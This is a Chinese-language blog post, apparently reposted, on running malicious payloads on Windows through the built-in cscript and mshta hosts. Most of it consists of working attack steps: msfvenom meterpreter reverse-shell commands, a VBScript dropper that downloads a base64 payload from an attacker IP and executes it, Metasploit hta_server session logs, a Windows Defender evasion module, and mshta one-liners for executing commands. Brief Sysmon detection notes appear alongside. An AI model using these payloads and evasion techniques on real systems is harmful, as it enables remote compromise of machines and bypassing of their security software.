cscript 执行代码_在Windows上执行恶意代码 by cscript&mshta

cscript 执行代码_在Windows上执行恶意代码 by cscript&mshtaWindows 自带的可执行文件 合理构造的 payload 脚本 获得会话 cscript 简介在 cscript exe 来寻找和连接脚本的运行库 最常见的有 VBScript 和 JavaScript WSH 环境包括两个脚本宿主 基于控制台的 CScript 和基于 GUI 的 WScript 这两个脚本宿主提供几乎相同的功能 在大多数情况下 使用哪个脚本宿主来运行脚本并不重要 两个例外在于您如何与脚本交互 也就是说

Windows自带的可执行文件+合理构造的payload脚本=获得会话

cscript

简介

在cscript.exe来寻找和连接脚本的运行库,最常见的有VBScript和JavaScript。

WSH环境包括两个脚本宿主:基于控制台的CScript和基于GUI的WScript。这两个脚本宿主提供几乎相同的功能,在大多数情况下,使用哪个脚本宿主来运行脚本并不重要。

两个例外在于您如何与脚本交互; 也就是说,如何将信息输入脚本(输入)以及脚本如何显示已检索的信息(输出)。通常,CScript从命令提示符接收输入并在命令窗口中显示输出。相比之下,WScript通过图形对话框接收输入,并在图形消息框中显示输出。

实践

生成payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f vbs -o ./1.vbs,查看下生成的内容(限于篇幅略去,有个很长的字符串就是payload.exe)

有人翻译了一下,得到如下结果

shellcode = WScript.Arguments.Item(0)

strXML = “” & shellcode & “”

Set oXMLDoc = CreateObject(“MSXML2.DOMDocument.3.0”)

oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode(“B64DECODE”).nodeTypedValue

set oXMLDoc = nothing

Dim fso

Set fso = CreateObject(“Scripting.FileSystemObject”)

Dim tempdir

Dim basedir

Set tempdir = fso.GetSpecialFolder(2)

basedir = tempdir & “\” & fso.GetTempName()

fso.CreateFolder(basedir)

tempexe = basedir & “\” & “test.exe”

Dim adodbstream

Set adodbstream = CreateObject(“ADODB.Stream”)

adodbstream.Type = 1

adodbstream.Open

adodbstream.Write decode

adodbstream.SaveToFile tempexe, 2

Dim wshell

Set wshell = CreateObject(“Wscript.Shell”)

wshell.run tempexe, 0, true

fso.DeleteFile(tempexe)

fso.DeleteFolder(basedir)

直接用echo的方式用一行命令往目标机上写入vbs文件,用^作为转义符。但是因为shellcode字符串太长了,cmd缓冲区不够用,于是改用MSXML2.XMLHTTP发起http请求获取远端payload.exe后再执行。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^”MSXML2.XMLHTTP^”):objXMLHTTP.open ^”GET^”, strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^”^^” ^& shellcode ^& ^”^^”:Set oXMLDoc = CreateObject(^”MSXML2.DOMDocument.3.0^”):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^”B64DECODE^”).nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^”Scripting.FileSystemObject^”):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^”\^” ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^”\^” ^& ^”test.exe^”:Dim adodbstream:Set adodbstream = CreateObject(^”ADODB.Stream^”):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^”Wscript.Shell^”):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

注意:直接用cscript msf.vbs http://192.168.138.142/1.txt执行后cmd会卡住。

309d9a908333?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

这样执行就不会 START /B cscript.exe //Nologo %temp%\msf.vbs http://192.168.138.142/1.txt

309d9a908333?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

sysmon日志

执行cscript.exe命令触发1号事件,

经由cscript.exe生成并执行的payload.exe也会触发1号事件,

而且记录了父进程的命令行 ParentCommandLine: cscript.exe //Nologo C:\Users\ADMINI~1\AppData\Local\Temp\2\msf.vbs http://192.168.138.142/1.txt

将exe文件转化成字符串,通过脚本还原成exe后,再用Wscript.Shell组件执行exe。

mshta

简介

mshta.exe,HTML Application HOST,HTML应用程序主机,hta文件解释器(也能解释html),就如同IE是html的解释器,CMD是批处理文件的解释器,WScript.exe、CScript.exe是vbs/js脚本的解释器。

由于hta被设计用于本地运行,所以权限比html高。用mshta打开html也比用IE打开能获得更高的权限。所以本机上的HTML文件中如果调用WScript.Shell等本地对象,用IE打开会出现安全警告(提示有“活动内容”什么的),用mshta打开一般就不会有任何提示和警告了。

方法一 hta_server

hta_server 顾名思义,不过只能用powershell来执行,对XP/Win2003不是很友好。

msf5 exploit(windows/misc/hta_server) > show targets

Exploit targets:

Id Name

— —-

0 Powershell x86

1 Powershell x64

msf5 exploit(windows/misc/hta_server) >

[*] Local IP: http://192.168.138.142:8080/FJw7zBrAteAzpZ.hta

[*] Server started.

[*] 192.168.138.141 hta_server – Delivering Payload

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage ( bytes) to 192.168.138.141

[*] Meterpreter session 1 opened (192.168.138.142:4444 -> 192.168.138.141:49187) at 2019-02-27 16:13:10 +0800

直接在windows上执行mshta http://evil.hta即可获得会话。

生成的hta跟msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.138.142 lport=4444 -f hta-psh > abc.hta结构一致。

sysmon日志

执行mshta.exe触发1号事件,

通过mshta访问远程evil.hta触发3号事件,

本地会缓存evil.hta触发11号事件(缓存地址同IE浏览器,位置C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\),

执行evil.hta后派生的powershell进程又会触发1号事件。

方法二 windows_defender_js_hta

windows_defender_js_hta 生成免杀的hta,然后放到apache目录下。执行方式同上。

evasion(windows/windows_defender_js_hta)

Basic options:

Name Current Setting Required Description

—- ————— ——– ———–

FILENAME KYr.hta yes Filename for the evasive file (default: random)

Description:

This module will generate an HTA file that writes and compiles a

JScript.NET file containing shellcode on the target machine. After

compilation, the generated EXE will execute the shellcode without

interference from Windows Defender. It is recommended that you use a

payload that uses RC4 or HTTPS for best experience.

因为是先把payload代码编译成可执行文件,然后再执行payload.exe,从执行命令到获得会话会有一定的延迟。然而获得的会话也是个残废(功能不全)。

sysmon日志

在缓存evil.hta文件之后,

多生成了一个evil.js文件,

jsc.exe将evil.js编译成可执行文件 CommandLine: “C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe” /out:C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.exe /platform:x64 /t:winexe C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.js,

cvtres.exe是编译过程中的一步, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 “/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RESEDEF.tmp” “C:\Users\Administrator\AppData\Local\Temp\2\RESECF5.tmp”

执行gzfEQK.exe ,获得半残会话。

方法三

mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的。

mshta vbscript:CreateObject(“Wscript.Shell”).Run(“calc.exe”,0,true)(window.close)

mshta javascript:”\..\mshtml,RunHTMLApplication “;document.write();h=new%20ActiveXObject(“WScript.Shell”).run(“calc.exe”,0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject(“WScript.Shell”).Run(“cmd /c taskkill /f /im mshta.exe”,0,true);}

用这个来获取会话有点不太现实

其他远程evil.hta构造模板

用msfvenom生成想要执行的恶意代码,再嵌入到构造好hta文件中加以执行。

比如GreatSCT,mshta执行只是其中的一个功能

===============================================================================

Great Scott!

===============================================================================

[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker

===============================================================================

[*] Language: installutil

[*] Payload Module: installutil/meterpreter/rev_tcp

[*] Executable written to: /usr/share/greatsct-output/compiled/payload.exe

[*] Source code written to: /usr/share/greatsct-output/source/payload.cs

[*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe

[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/224710.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 上午11:19
下一篇 2026年3月17日 上午11:19


相关推荐

  • 简单几步用绿联docker安装OPENCLAW,听说装这个能赚钱

    简单几步用绿联docker安装OPENCLAW,听说装这个能赚钱

    2026年3月13日
    2
  • 下列选项中不符合python语言变量命名规则的是_下列选项中不符合Python语言变量命名规则的是??????????????????????????????????( )。…

    下列选项中不符合python语言变量命名规则的是_下列选项中不符合Python语言变量命名规则的是??????????????????????????????????( )。…下列选项中不符合Python语言变量命名规则的是??????????????????????????????????()。答:3_1下列基金的收益与股票市场平均收益率最接近的是()。答:股票基金自由锻基本工序有、、答:镦粗拔长冲孔中国第一颗的爆炸时间是答:1967年废品净损失应由()。答:同种合格产品成本负担下列各进制的整数中,值最小的是()答:二进制数11春风雨:理性…

    2022年5月28日
    42
  • sendfile:Linux中的”零拷贝”

    sendfile:Linux中的”零拷贝”如今几乎每个人都听说过Linux中所谓的”零拷贝”特性,然而我经常碰到没有充分理解这个问题的人们。因此,我决定写一些文章略微深入的讲述这个问题,希望能将这个有用的特性解释清楚。在本文中,将从用户空间应用程序的角度来阐述这个问题,因此有意忽略了复杂的内核实现。什么是”零拷贝”为了更好的理解问题的解决法,我们首先需要理解问题本身。首先我们以一个网络服务守护进程为例,考虑它在将存储在文件

    2022年6月1日
    32
  • python和c++哪个好_python取消注释快捷键

    python和c++哪个好_python取消注释快捷键工欲善其事必先利其器,Python开发利器Pycharm常用快捷键以及配置如下,相信有了这些快捷键,你的开发会事半功倍一常用快捷键编辑类:Ctrl+D复制选定的区域或行Ctrl+Y删除选定的行Ctrl+Alt+L代码格式化Ctrl+Alt+O优化导入(去掉用不到的包导入)Ctrl+鼠标简介/进入代码定义Ctrl+/行注释、取消注释Ctrl+左方括…

    2022年8月27日
    9
  • 2022 idea激活码(注册激活)

    (2022 idea激活码)JetBrains旗下有多款编译器工具(如:IntelliJ、WebStorm、PyCharm等)在各编程领域几乎都占据了垄断地位。建立在开源IntelliJ平台之上,过去15年以来,JetBrains一直在不断发展和完善这个平台。这个平台可以针对您的开发工作流进行微调并且能够提供…

    2022年4月1日
    340
  • Visual Studio——使用多字节字符集与使用Unicode字符集

    Visual Studio——使用多字节字符集与使用Unicode字符集vs配置选项“使用多字节字符集”和“使用Unicode字符集”的区别VS集成开发环境,字符集选择“使用多字节字符集”和“使用Unicode字符集”的直接区别就是:编译器是否增加了宏定义——UNICODE。当选择“使用Unicode字符集”时,编译器会增加宏定义——UNICODE;而选择“使用多字节字符集”时,编译器则不会增加宏定义——UNICODE。而是否增加了宏定义UNICODE,则…

    2025年8月15日
    6

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号